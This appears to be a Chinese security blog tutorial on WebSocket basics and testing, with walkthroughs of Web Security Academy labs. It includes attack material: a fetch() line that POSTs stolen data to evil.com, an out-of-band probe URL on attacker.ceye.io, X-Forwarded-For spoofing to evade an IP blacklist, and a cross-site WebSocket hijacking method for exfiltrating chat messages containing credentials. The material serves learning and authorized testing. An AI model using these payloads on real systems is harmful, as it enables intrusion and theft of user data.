-
0X02 WebSocket 协议基础
2025-11-01 08:39:14
0x01 概述在近期的渗透测试工作中,笔者发现部分目标网站同时采用了 HTTP 和 WebSocket 协议来完成不同的业务交互,例如:某些网站上传接口使用websocket,导致都不知道怎么测试上传功能。为了补齐这一块的知识盲区,也为今后遇到类似情况时能够快速定位与处置,抽空系统性学习了 WebSocket 协议的基础原理、安全隐患以及常见漏洞测试方法,并整理成本文作为记录分享。
0X02 WebSocket 协议基础通信原理及握手过程WebSocket 是一种网络通信协议,用于在客户端和服务器之间建立全双工(双向)、持久连接的实时通信通道。它解决了传统 HTTP 协议在实时通信中的局限性(如轮询效率低),适合需要高频数据交换的场景。它基于一次 HTTP 握手完成协议升级,实现客户端与服务器之间的实时通信。
握手过程
在浏览器或代码里发起连接时:
new WebSocket("wss://example.com/chat") //加密通道,TLS通道建好后再发HTTP握手请求new WebSocket("ws://example.com/chat") //明文通道,发HTTP握手请求客户端发起 HTTP 请求,请求头中包含:
GET /chat HTTP/1.1Host: example.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13服务器返回 101 状态码,表示协议切换成功:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=数据传输过程
握手完成后,协议从 HTTP 升级为 WebSocket 协议,客户端与服务器之间即可通过 WebSocket 进行持久化的双向数据传输(底层使用TCP),数据传输走的是WebSocket 自定义的帧(frame)格式。
数据分帧传输:将消息拆分为多个帧(Frame),包含类型(文本/二进制)、长度、掩码等信息。
掩码加密:客户端发送的数据需用掩码(Masking Key)加密,防止中间人攻击。
保持连接:默认持久化,直到主动关闭或超时。
连接关闭
任一方可发送关闭帧(Close Frame)终止连接,状态码表示关闭原因(如1000表示正常关闭)。
补充
WS://WSS://发起 TCP 连接(80端口)发起 TLS 握手(443端口)发 HTTP Upgrade 请求发 HTTP Upgrade 请求(在 TLS 加密隧道里)服务端返回101 Switching Protocols服务端返回101 Switching Protocols(加密的)WebSocket 建立WebSocket 建立
请求头/响应头作用安全相关说明Sec-WebSocket-Key客户端生成的随机 Base64 值,服务器用于拼接、SHA1 运算,返回校验防止非 WebSocket 连接伪造Sec-WebSocket-Version客户端支持的 WebSocket 协议版本,通常是13避免协议兼容性安全问题Upgrade: websocket协议升级标志限制协议升级类型,防止非法升级Connection: Upgrade配合 Upgrade 字段确认升级限制连接行为Sec-WebSocket-Accept服务器将Sec-WebSocket-Key加258EAFA5-E914-47DA-95CA-C5AB0DC85B11,做 SHA1 + Base64,返回客户端握手校验,防止伪造抓包/查看方法Wireshark:遇到wss的情况下看不到具体数据包,只能看到底层TCP数据。
Chrome/Firefox 开发者工具:直接查看浏览器发起的 WebSocket 连接。
Burp Suite:拦截、修改和重放 WebSocket 流量和抓取HTTP一样。
websocat:命令行 WebSocket 客户端/调试工具,发送数据时某些需要遵守相应的数据格式,如JSON,否则不会响应。
0x03 常见webSocket漏洞原则上,几乎任何网络安全漏洞都可能与 WebSockets 有关:
传输到服务器的用户提供的输入可能会以不安全的方式处理,从而导致 SQL 注入或 XML 外部实体注入等漏洞。
通过 WebSockets 发现的一些盲漏洞可能只能使用带外 (OAST) 技术检测到。
如果攻击者控制的数据通过 WebSockets 传输给其他应用程序用户,则可能会导致 XSS 或其他客户端漏洞。
操控 WebSocket 消息体寻找漏洞(内容注入)篡改 WebSocket 消息体,测试服务端是否存在基于输入的漏洞,例如 XSS、SQL 注入、路径遍历等。
例如,一个具有聊天功能的Web程序使用WebSocket在客户端和服务端之间传输消息。当一个用户输入聊天消息时,如下的一个WebSocket消息被发送到服务端:
{"message":"Hello"}当服务器没有对转发的内容做安全防御或过滤时,可能就会引发XSS攻击。
{"message":"
"}Websocket未授权访问某些有认证需求的API,WebSocket 服务端未对连接来源、身份进行认证,导致任意客户端可伪造连接与服务器通信,泄露敏感信息或操控操作。
使用websocat进行连接,发送消息测试,若返回用户数据,说明存在未授权访问。
连接:websocat.exe -v wss://0ae30012044ba3ba8097305600800035.web-security-academy.net/chat发送消息:{"message":"body"}信息泄露WebSocket 长连接通信中,若存在返回多余调试信息、系统路径、异常堆栈等,可能泄露敏感信息,便于攻击者分析系统结构。
发送:
{"message":"getConfig"}返回:
{"error":"File not found at /var/www/config/setting.json"}JSON 脱字符注入:
如果 WebSocket 消息采用 JSON 传输,服务端 JSON 解析器存在缺陷,攻击者可尝试利用特殊符号"\}]脱出 JSON 格式,影响后续解析或执行逻辑,导致报错或其他漏洞。
{"username":"admin\"}"}伪造握手攻击者伪造握手请求:
GET /ws HTTP/1.1Host: target.comX-Forwarded-For: 127.0.0.1若后台将X-Forwarded-For当作客户端真实 IP,可能导致管理端口开放或安全规则失效。
攻击者绕过验证:
GET /ws?uid=1 HTTP/1.1Cookie: session=xxxx若服务端只基于 URIuid参数判断身份,存在权限绕过风险。
WebSocket 长连接阻塞/资源耗尽攻击者大量建立 WebSocket 长连接占用资源,或者在长连接内不断发送大体积消息,可能导致服务器资源耗尽,造成DoS(拒绝服务)效果。
OAST(Out-of-Band Application Security Testing)部分盲漏洞(如 SSRF、命令注入、XXE)在 WebSocket 场景下无法直接在响应内查看回显,需借助带外探测平台如Burp Collaborator、ceye.io,检测服务端是否存在非法对外请求。
{"url":"http://attacker.ceye.io/test"}观察带外服务平台是否接收到请求。
客户端 WebSocket 安全缺陷部分前端 WebSocket 实现存在逻辑缺陷,前端 JS 泄露Token、认证参数等信息。
消息顺序或状态篡改WebSocket 是无状态的,但业务逻辑可能依赖消息顺序。
重放旧消息(如重复发送交易请求)。
乱序发送消息(如先发“确认”再发“请求”)。
跨站点 WebSocket 劫持跨站 WebSocket 劫持(也称为跨源 WebSocket 劫持)涉及 WebSocket 握手过程中的跨站请求伪造 (CSRF) 漏洞。当 WebSocket 握手请求仅依赖 HTTP Cookie 进行会话处理,且不包含任何 CSRF 令牌或其他不可预测的值时,就会出现这种情况。
攻击者可以在自己的域名上创建一个恶意网页,与存在漏洞的应用程序建立跨站 WebSocket 连接。该应用程序将在受害者用户与其会话的上下文中处理该连接。
攻击者的页面随后可以通过该连接向服务器发送任意消息,并读取从服务器返回的消息内容。这意味着,与常规的CSRF不同,攻击者可以与受感染的应用程序进行双向交互。
0x04 webSocket漏洞案例操纵 WebSocket 消息以利用漏洞这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中触发弹出窗口。
打开页面后可见存在一个聊天功能,打开浏览器开发者工具查看network可见使用websocket进行数据交互,已知消息格式为JSON,{"message":"123"}{"user":"You","content":"test"},尝试插入测试payload,在chat会话中可见标签被HTML编码:
看了下前端JS代码
可以看到,sendMessage(data)函数在发送 WebSocket 消息前,调用了htmlEncode()对用户输入的数据进行编码。htmlEncode(str)函数会根据chatFormDOM 节点上是否存在encode属性来决定是否对传入字符串进行 HTML 实体编码:如果存在该属性,则将常见的 XSS 特殊字符(如',",<,>,&等)转义为对应的 HTML 实体,避免恶意脚本执行;如果没有该属性,则直接返回原始字符串,同时在writeMessage函数中,可以看到其将user和content直接通过innerHTML插入到页面的 DOM 中。
使用burp进行抓包,绕过前端编码:
修改为payload后提交:
操纵 WebSocket 握手来利用漏洞这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中 触发弹出窗口。简单手工测试,发现和上一个一样会编码html标签,抓包测试,发送payload后发现,提示"This address is blacklisted":
同时在burp的repeater中会发现websocket断开连接,点击Reconnect无法连接上,已知需要对握手包进行操作,增加一个常见XFF连接测试,连接成功。
已经知道发送payload会被封IP,需要对payload进行简单绕过,绕过后使用burp刷新页面在增加XFF,发现页面加载了但是对话消息没加载出来(hackbar和burp只能应用一次请求头,这里不适用),使用插件(Modheader)将XFF实时应用到每一个请求,访问成功。但是没执行,在js中htmlEncode(str)对引号做了编码,但是反引号不在里面,更换后提交成功:
跨站点 WebSocket 劫持聊天室 WebSocket 连接请求,该请求没有 CSRF 令牌:
GET /chat HTTP/2Host: 0a1400bf0361c6ce808a126e00ff0095.web-security-academy.netConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0a1400bf0361c6ce808a126e00ff0095.web-security-academy.netSec-Websocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7,en-GB;q=0.6Cookie: session=Z5OapfPjvO40DQih2gZBfbnYLl8lT9LWSec-Websocket-Key: ZTbSt/CFe+T46mqjRnaFBQ==在解决方案中给出了这样一段JS代码:
大概含义:建立到目标网站 WebSocket 服务端的连接,当 WebSocket 连接成功时,发送一条消息"READY"给服务器,触发服务器可能返回一些聊天消息,把收到的 WebSocket 消息内容,原样 POST到攻击者控制的服务器上(比如 Burp Collaborator)。
更换相应的URL地址后在go to exploit提交,可以看到已经有了消息,拿到账户口令后登录成功。
这里能成功外带的条件:
没有CSRF 令牌校验,导致允许恶意来源建立连接
客户端发送READY,服务端推送聊天记录/建立连接服务器主动推送聊天记录
no-cors模式,允许跨域请求发出去,不会被浏览器拦截,但JS 拿不到返回值,只能发,不能读。
fetch('https://evil.com', {method: 'POST',mode: 'no-cors',body: '这里是要偷偷带走的数据'});0x05 总结WebSocket 带来了更高效的前后端实时通信,但随之而来的安全风险也不容忽视,其实大部分问题仍然可以沿用常规 Web 渗透测试的思路来发现和利用,只要熟悉协议特点,测试起来并不复杂。
⚠️ 本文内容仅供学习与合法授权的安全测试使用,严禁将相关技巧应用于未授权系统,任何非法操作与后果由个人承担。